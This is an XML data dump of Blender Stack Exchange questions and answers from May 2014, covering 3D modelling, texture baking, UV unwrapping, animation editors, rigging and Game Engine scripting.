  <row Id="10743" PostTypeId="1" CreationDate="2014-05-27T01:30:30.463" Score="0" ViewCount="75" Body="&lt;p&gt;I've modeled some interiors and lighted them with a simple area light.&#xA;I'm currently trying to bake the lighting to a lightmap that I can then import into Unity3D Free Version (which doesn't have very good lighting for interiors, and that's why I'm making the lightmaps on blender).&#xA;However, the baked lightmap seems to be poor in quality even though I made the texture 2048x2048. It's kinda hard to explain, but basically the gradients are choppy, as if the image was compressed. This is very subtle if I look at the lightmap itself on paint (albeit still visible), but the effect is magnified once the lightmap is applied to a colored material on unity3d:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ZKuBm.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My baking settings:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/fLPoL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3638" LastEditorUserId="2217" LastEditDate="2014-07-29T00:26:52.007" LastActivityDate="2014-07-29T00:26:52.007" Title="Choppy gradients in baked lightmaps" Tags="&lt;light&gt;&lt;texture-baking&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2014-05-27T03:27:25.607" ContentLicense="CC BY-SA 3.0" />
  <row Id="10745" PostTypeId="1" AcceptedAnswerId="10746" CreationDate="2014-05-27T02:59:18.563" Score="2" ViewCount="1137" Body="&lt;p&gt;I am trying to place multiple spheres on a circle ring but am finding it really hard to get them into position. Is there an quick method to accomplish this or is there a tutorial that teaches such stuff.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is a quick illustration of what i want to achieve&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Wbmolb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3639" LastEditorUserId="12" LastEditDate="2014-05-27T03:16:22.933" LastActivityDate="2016-10-31T15:38:39.033" Title="Placing spheres in a perfect circle on a ring" Tags="&lt;objects&gt;&lt;bezier-curves&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ClosedDate="2014-05-27T04:02:28.493" ContentLicense="CC BY-SA 3.0" />
  <row Id="10746" PostTypeId="2" ParentId="10745" CreationDate="2014-05-27T03:15:55.197" Score="2" Body="&lt;p&gt;Add a single sphere, and a curve to the scene &lt;em&gt;(a Bezier Circle should do)&lt;/em&gt;. Reduce the size of the sphere down to about &lt;code&gt;0.1&lt;/code&gt; depending on the scale of the scene you're in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next, add an array modifier to the sphere and bump up the counts to about &lt;code&gt;10&lt;/code&gt; or so you can see something. Finally add a curve modifier to the array of spheres. The spheres should follow the curve and you can now increase the array count depending on the scale of the sphere until both ends meet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;End result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4oZPh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/2169/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=2169&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NB: If after doing this, the spheres don't connect at both ends evenly, just select the sphere in object mode and scale it slightly until they meet. You can also hold &lt;kbd&gt;Shift&lt;/kbd&gt; while scaling for more precision.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An alternative (but more cumbersome) way is to use dupliframes, see &lt;a href=&quot;https://blender.stackexchange.com/questions/510/how-can-i-duplicate-a-mesh-along-a-curve&quot;&gt;How can I duplicate a mesh along a curve?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:46.790" LastActivityDate="2016-10-31T15:38:39.033" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="10747" PostTypeId="2" ParentId="10725" CreationDate="2014-05-27T04:37:21.960" Score="2" Body="&lt;p&gt;While I like the answers provided by cegaton and stacker, I had some time when I couldn't do much more than think and I decided to consider the exercise of making a tetrahedron from a polygon primitive. The method below can be applied to create any polyhedron from a base which is a polygon with an odd number of sides. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Create a circle with 3 vertices. Two of the vertices will be parallel to either the x or y axis of the scene. Name these two vertices (for sake of this explanation) &quot;B&quot; and &quot;C&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Choose A, and B, duplicate those vertices, and choose the option to merge those two duplicates in the center; we'll call this vertex &quot;D&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Select the vertices C and D and create an edge. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;4) Select the vertices B and C, and extrude the vertices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;5) Merge the vertices created in step 4, choosing the option to merge at the center to create vertex E. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;6) Create a face of the vertices B-C-E.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;7) Set the selection mode to edge.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;8) Create an edge from vertices E and A, selecting A last.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;9) Select the Active element as the pivot point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;10) Switch to top view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;11) Rotate the edge A-E constraining rotation to the axis parallel to edge B-C [That is, if B-C are parallel to the x axis, constrain rotation to the x axis; if B-C are parallel to the y axis, constrain rotation to the Y axis.], until in top view, E appears to be on the line A-D.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;12) Create faces A-E-B and A-E-C.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;13) Delete vertex D. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The companion process to create a polyhedron on a base comprised of a polygon with an even number of sides is below. [Note, it will simplify the process if the polygon is aligned so that at least one pair of opposing edges is parallel to either to either the x or y axis.]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Create a circle with 4 vertices. Name the vertices (for sake of this explanation) &quot;A&quot;, &quot;B&quot;, &quot;C&quot;, and &quot;D&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Choose vertex A, and and extrude vertex A' from it, exactly crossing the vertex on the opposite end of the diagonal. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Extrude vertices from two vertices that define an edge, and merge them in the center. Call this Vertex &quot;E&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;4) Make a face from E, and the two vertices which were extruded and joined to create it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;5) Duplicate the vertices defining the edge opposite the edge whose vertices were extruded in step 3, and merge them in the center to create vertex &quot;F&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;6) Create a edge of the vertices E-F, selecting F last.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;7) Set the selection mode to edge.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;8) Select the Active element as the pivot point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;9) Switch to top view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;10) Rotate the edge E-F constraining rotation to the axis perpendicular to that edge.  [That is, if he edge defined by E-F is parallel to the x axis, constrain rotation to the y axis; if E-F is parallel to the y axis, constrain rotation to the x axis.], until in top view, E appears to lie on the line A-A'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;11) Create the faces from adjoining pairs of the original four vertices, and vertex E as needed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;12) Delete vertex A'. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tested both procedures. Either one took longer to write than to do.&lt;/p&gt;&#xA;" OwnerUserId="3401" LastActivityDate="2014-05-27T04:37:21.960" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10748" PostTypeId="1" CreationDate="2014-05-27T06:02:41.797" Score="4" ViewCount="1643" Body="&lt;p&gt;If I'm taking still timelapse photos of a stationary subject while moving along an arc radiating out from the object, what should I mark to stabilize rotation?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make the question more tangible, let's imagine a cube. In the middle of the cube there is an X which I can use for the 2D stabilization point. Now I want to stabilize rotation. But the cube's edges are going to undergo perspective distortion as I rotate around. The horizon may not be visible from some perspectives either. So there's nothing in the scene itself to track rotation, but it's obvious upon rendering the animation that there is rotational instability present.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems to me almost the only way to do it would be to create a 3D model that corresponds with the 2D timelapse photos and superimpose the 3D cube over the physical cube. Then each frame could be rotated to keep it's perspective consistent with the rotating 3D model. Although this seems like a possible solution, I'm not sure what workflow I would use to achieve it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I've been watching Track, Match, Blend and am learning more about some of the limitations. In the tutorial it was shown how panning motion can't be solved automatically. Perhaps I don't understand enough about the limitations of rotational stabilization. It seems to only work on a 2D plane. But if the camera is moving, either in a straight line or in an arc, is it possible to stabilize rotation?&lt;/p&gt;&#xA;" OwnerUserId="218" LastEditorUserId="218" LastEditDate="2014-06-04T07:09:45.933" LastActivityDate="2015-04-23T13:50:41.887" Title="What should I track for accurate rotation stabilization? Or, how can I stabilize motion timelapse?" Tags="&lt;rendering&gt;&lt;animation&gt;&lt;tracking&gt;" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10750" PostTypeId="2" ParentId="10748" CreationDate="2014-05-27T09:25:14.150" Score="1" Body="&lt;p&gt;Rotational stabilisation requires 2 points/trackers that remain stationary relative to each other not the edge of frame or camera.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that isn't available then your other solution will require a good 3d solve, from lots of trackers. But it sounds like you may not have much to track there either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps you could use 2 planar tracks they tend to track features that cover an area instead of a point.&lt;/p&gt;&#xA;" OwnerUserId="3640" LastActivityDate="2014-05-27T09:25:14.150" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10751" PostTypeId="2" ParentId="10739" CreationDate="2014-05-27T09:30:43.230" Score="16" Body="&lt;p&gt;To hold the last frame simply drag the tail handle to the right. It will repeat or hold the last frame. If you want to do this in the middle of a strip then make a hard cut (not a soft cut) shift-k, this will remove the ghost handle, seen after trimming or soft cutting. You can then drag the tail out for a freeze frame again.&lt;/p&gt;&#xA;" OwnerUserId="3640" LastActivityDate="2014-05-27T09:30:43.230" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10752" PostTypeId="2" ParentId="10741" CreationDate="2014-05-27T09:33:06.373" Score="16" Body="&lt;p&gt;I find the results are best when islands best match the actual shape of the geometry.  The closer you get to this the less stretching you will have.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a sphere, I find this works best for me.  A cube with sub-D at level 2 which is applied then corrected in Edit mode with the To-Sphere tool. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then &lt;img src=&quot;https://i.stack.imgur.com/wAUAn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or even better for less stretching.  (however, more seams mean more chance for the lighting to show artifacts with specular highlights on normal maps).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zqj15.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:  It just occurred to me that some of the issues which people are having with stretching in their textures may be related to the &lt;strong&gt;&lt;em&gt;Sub-Divide UV's&lt;/em&gt;&lt;/strong&gt;  Option in either of the two sub-D modifiers(Multi-res).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't set this button appropriately, then you will likely have stretching and it matter matter how well the UV's are laid out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a general guideline, it seems best to disable the Sub-Divide UV's option when your mesh is mathematically evenly spaced.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So when you have built your mesh with somewhat un-evenly spaced lines, then you may want to leave Sub-Divide the UV's on for the least amount of stretching.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I toggle it on and off rapidly while watching the model and how a checkered texture is become stretched or not.&#xA;I do the same thing with the little eyeball icon that turns the modifier on and off.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keeping an eye on this should help minimize the baking difficulties.&lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="1448" LastEditDate="2014-06-03T14:13:34.967" LastActivityDate="2014-06-03T14:13:34.967" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10753" PostTypeId="1" AcceptedAnswerId="10756" CreationDate="2014-05-27T10:47:45.650" Score="4" ViewCount="462" Body="&lt;p&gt;I am using Blender 2.66 and a newbie I was working on a tutorial which is with the 2.5 version. And I am unable to find the Action editor in version 2.66 while trying to animate a walk cycle. Had it gone? or otherwise can use any other way? Please help. Can the NLA editor do what can be done with the action editor?&lt;/p&gt;&#xA;" OwnerUserId="3576" LastEditorUserId="55" LastEditDate="2014-05-27T16:56:25.917" LastActivityDate="2014-05-27T16:56:25.917" Title="Cannot find the action editor in Blender since 2.5x" Tags="&lt;interface&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10754" PostTypeId="1" CreationDate="2014-05-27T10:54:28.413" Score="4" ViewCount="6259" Body="&lt;p&gt;I need to import a .stl in blender. First I changed the &quot;Scale&quot; in &quot;Scene&quot; to 0.01 (centimeters), then I chaged &quot;Scale&quot; in &quot;Display&quot; (N-sidebar) in 0.01 too. When I import the stl. file the object appears with dimensions larger than it should be. I don't know what I'm doing wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've read another posts but I don't understand what to do. I tried scaling the object (X = 0.01, Y = 0.01, Z = 0.01) but then the object becomes smaller. &lt;/p&gt;&#xA;" OwnerUserId="2821" LastEditorUserId="241" LastEditDate="2020-06-26T13:07:44.130" LastActivityDate="2020-12-11T22:06:33.873" Title="Scales importing .stl file" Tags="&lt;import&gt;&lt;dimensions&gt;&lt;stl&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10755" PostTypeId="2" ParentId="10741" CreationDate="2014-05-27T10:54:34.430" Score="7" Body="&lt;p&gt;I guess what you want is &lt;a href=&quot;http://www.win.tue.nl/~vanwijk/myriahedral/&quot; rel=&quot;noreferrer&quot;&gt;myriahedral projection&lt;/a&gt;. I did this once for an icosphere as a test. AFAIK there is no way to do this automatically, i had to place the seams by hand. I uploaded my old .blend file &lt;a href=&quot;http://pasteall.org/blend/29471&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt;, have a look at it and see if it is what you need.&lt;br&gt;&#xA;This is what the UV layout looks like:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/dZgY5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3089" LastActivityDate="2014-05-27T10:54:34.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10756" PostTypeId="2" ParentId="10753" CreationDate="2014-05-27T11:20:55.500" Score="4" Body="&lt;p&gt;The &lt;em&gt;Action Editor&lt;/em&gt; is a mode of the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Animation/Editors/DopeSheet&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Dope Sheet&lt;/em&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/e64BZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-05-27T11:20:55.500" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10757" PostTypeId="2" ParentId="10753" CreationDate="2014-05-27T11:21:04.707" Score="2" Body="&lt;p&gt;The &lt;em&gt;Action Editor&lt;/em&gt; can be found while in the &lt;em&gt;Dopesheet&lt;/em&gt; view (&lt;kbd&gt; Shift&lt;/kbd&gt;&lt;kbd&gt;F12&lt;/kbd&gt;) as one of its modes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0CWgO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Can the NLA editor do what can be done with the action editor?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I sense you are thinking of it as an alternative so I say not exactly or plain no.., these are two separate views that serve different purposes though the Action Editor is somewhat of a more detailed view of what you work with in the NLA Editor. The relevant wiki pages offer a more detailed explanation, &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Animation/Editors/DopeSheet/Action&quot; rel=&quot;nofollow noreferrer&quot;&gt;Action Editor&lt;/a&gt;, &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Animation/Editors/NLA&quot; rel=&quot;nofollow noreferrer&quot;&gt;NLA Editor&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2014-05-27T11:28:52.240" LastActivityDate="2014-05-27T11:28:52.240" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10758" PostTypeId="1" CreationDate="2014-05-27T11:21:57.170" Score="11" ViewCount="3614" Body="&lt;p&gt;How can one search by name for a material / texture / image datablock that is not displayed in the outliner, for example because it's buried somewhere deep inside a node tree?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me please describe some typical use cases to make more clear what I'm talking about:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;When a material / texture / image datablock is 'buried' in the node&#xA;tree, not displayed in the outliner, and you have a lot of materials&#xA;with complex node trees, you often have a hard time finding one by&#xA;name.&lt;/li&gt;&#xA;&lt;li&gt;For me, the most common use case is to find if seemingly-orphaned&#xA;datablocks (mostly named xxx.001 etc.) are still in use somewhere:&#xA;There are often some datablocks which stay orphaned in the blendfile&#xA;because the user count has not been set to zero correctly, and the&#xA;more complex the shaders, the more likely this is. You can&#xA;shift-delete them, but you have to make 100% sure that they are not&#xA;in use anywhere.&lt;/li&gt;&#xA;&lt;li&gt;Besides this, it is often necessary for complex materials, especially when you&#xA;have been linking/appending and copy-pasting parts of the node tree&#xA;from other files. If the appended part uses, for instance, a texture with a name that is also used in your destination blend file, you may have to check if the textures are identical, and therefore find the other one. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Once saw an addon which did similar stuff, but not exactly this. Don't remember which, unfortunately.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas how we can make our lives easier keeping our blend files clean?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best greetings, Michael&lt;/p&gt;&#xA;" OwnerUserId="1583" LastEditorUserId="1583" LastEditDate="2014-05-27T11:35:18.633" LastActivityDate="2017-08-17T20:38:11.977" Title="Find users of a material / texture / image which is not displayed in the outliner" Tags="&lt;workflow&gt;&lt;editing&gt;&lt;shaders&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10759" PostTypeId="2" ParentId="10758" CreationDate="2014-05-27T11:30:04.057" Score="9" Body="&lt;p&gt;You can set your outliner to &lt;code&gt;Blender File&lt;/code&gt; mode. This will show even datablocks with no users. Under &lt;code&gt;materials&lt;/code&gt; you will find a list of all materials in alphabetical order. You can even search for datablocks by name in the small search field at the top:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/28RWw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To find users of a datablock, perform the same search in &lt;code&gt;All Scenes&lt;/code&gt; mode instead of Blender File mode.&lt;/p&gt;&#xA;" OwnerUserId="3089" LastEditorUserId="44903" LastEditDate="2017-08-17T20:38:11.977" LastActivityDate="2017-08-17T20:38:11.977" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10760" PostTypeId="2" ParentId="10748" CreationDate="2014-05-27T13:02:30.667" Score="1" Body="&lt;p&gt;A quick test shows that you cannot add rotational trackers. Nor can you add  alternate 2D rotation tracks (pairs) from the 1 movie clip. Also you cannot load alternate versions of the same clip to add rotational tracks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it seems that you can hand off stabilise between multiple markers or tracks but not for rotation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems that you will have to try for a 3D solve of your camera instead.&lt;/p&gt;&#xA;" OwnerUserId="1218" LastActivityDate="2014-05-27T13:02:30.667" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10761" PostTypeId="2" ParentId="6625" CreationDate="2014-05-27T15:06:29.297" Score="2" Body="&lt;p&gt;There is an great addon to do exactly what you need!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&quot;create camera image plane&quot;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;description on the &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?300436-Scripts-Create-camera-image-plane&quot; rel=&quot;nofollow noreferrer&quot;&gt;blenderartists.org thread&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;the &quot;script should be run with a camera selected and then creates an imageplane, sets up drivers to automatically scale it by the render aspect ratio and focal length of camera and distance (that would be the neg z of the imageplanes location) so it will cover the entire screen. It sets up a cycles material so it's ready to load an image sequence&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/iVXAv.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/iVXAv.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The material is created with an emission shader that takes into account the alpha channel (if there is one), all you need to do is select the image you want to use:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/qQRuI.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/qQRuI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you move the camera, the plane will follow. Also if you change the focal lenght, the plane will resize accordingly. And if you move the plane on its local Z axis it will resize as well, filling the frame at all times. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/UkvYr.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/UkvYr.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;addon is here (login is required to download attachments) :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blenderartists.org/forum/attachment.php?attachmentid=287436&amp;amp;d=1391722170&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://blenderartists.org/forum/attachment.php?attachmentid=287436&amp;amp;d=1391722170&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2015-11-29T19:07:40.050" LastActivityDate="2015-11-29T19:07:40.050" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10762" PostTypeId="2" ParentId="10682" CreationDate="2014-05-27T20:17:35.943" Score="1" Body="&lt;p&gt;The problem seems to be that the normals of the two faces that connect the horizontal bars of the letter E are pointing into the opposite direction as the rest of the front facing part of the E. &lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ZubTE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure the normals of your meshes are consistent (meaning that the normals of two neighboring faces are pointing to the same side of the volume, optimally outside).&#xA;The normals are used for lighting calculations. Since the direction of the normals is inconsistent over the front of the E, the lighting calculations generate artifacts.&lt;br&gt;&#xA;Do you really need these faces? They make the E look like a block. If not you can delete them.&lt;br&gt;&#xA;Otherwise you need to flip the normals of the faces or separate the faces from the rest of the mesh. You can flip the normals by selecting the two faces and clicking the &lt;code&gt;Flip Direction&lt;/code&gt; button in the toolbar to the right side of the 3D view. If the toolbar is not visible press [T] while your mouse cursor is in the 3D view.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ImZJk.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The result should look like this:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/mHZUw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To separate the faces instead select them and press [Y]. &#xA;Both methods ensure the normals of the E are consistent on the front face:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/uZJvo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In general you should &lt;strong&gt;avoid non-manifold meshes&lt;/strong&gt;. A mesh is called non-manifold if an edge connects more than two faces. Just imagine your mesh was made out of a rubber sheet. If you can cut out a region around any edge and find a way to press it flat onto the table without faces overlapping, your mesh is manifold and you are ready for production.&lt;br&gt;&#xA;If you have a manifold mesh, Blender can even calculate the normals for you: Go into editmode, select the faces whose normals you want to calculate and press [Ctrl+N] to calculate the outwards facing normals or [Ctrl+Shift+N] to calculate the normals facing inside.&lt;/p&gt;&#xA;" OwnerUserId="3089" LastEditorUserId="3089" LastEditDate="2014-05-27T20:39:07.180" LastActivityDate="2014-05-27T20:39:07.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10765" PostTypeId="2" ParentId="10689" CreationDate="2014-05-27T23:30:07.703" Score="3" Body="&lt;p&gt;You could make a counter with the wonderful Randomiser addon &lt;a href=&quot;http://bensimonds.com/2014/04/02/randomiser-add-on/&quot; rel=&quot;nofollow&quot;&gt;http://bensimonds.com/2014/04/02/randomiser-add-on/&lt;/a&gt; it has a count function.&lt;/p&gt;&#xA;" OwnerUserId="1218" LastActivityDate="2014-05-27T23:30:07.703" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10768" PostTypeId="1" CreationDate="2014-05-28T00:38:44.860" Score="1" ViewCount="921" Body="&lt;p&gt;I have an IK controller bone. It works quite well behind its rest position, moving and rotating both the linked bones. However, when I move the IK controller bone in front of the body, it only rotates the top bone, without modifying the bottom one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Link to my .blend file is &lt;a href=&quot;http://www.pasteall.org/blend/29486&quot; rel=&quot;nofollow&quot; title=&quot;herpaderp&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3421" LastEditorUserId="1165" LastEditDate="2014-05-28T01:35:51.253" LastActivityDate="2014-05-28T18:32:28.013" Title="IK control bone not rotating linked bone when behind it" Tags="&lt;rigging&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10769" PostTypeId="1" AcceptedAnswerId="13964" CreationDate="2014-05-28T02:11:11.553" Score="5" ViewCount="2711" Body="&lt;p&gt;There are two options when using a sensor to run a python script (which also makes me wonder why the python option is a &lt;em&gt;Controller&lt;/em&gt; and not a &lt;em&gt;Actuator&lt;/em&gt;, but I guess that's a separate question).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yMhU1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I can tell, &lt;em&gt;Module&lt;/em&gt; runs a function in certain file (specified &lt;code&gt;file.function&lt;/code&gt;). Script runs an entire file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are the practical differences between the two (assuming they are functionally the same)? What are some example cases where you would want to use one over the other?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/User:Sculptorjim/Game_Engine/Logic/Controllers/Python&quot; rel=&quot;nofollow noreferrer&quot;&gt;The wiki page&lt;/a&gt; seems to be down currently, so forgive me if the answer is written right at the top..&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="55" LastEditDate="2016-01-31T01:50:12.537" LastActivityDate="2016-01-31T01:50:12.537" Title="What is the difference between module and script execution methods in the Game Engine?" Tags="&lt;python&gt;&lt;game-engine&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
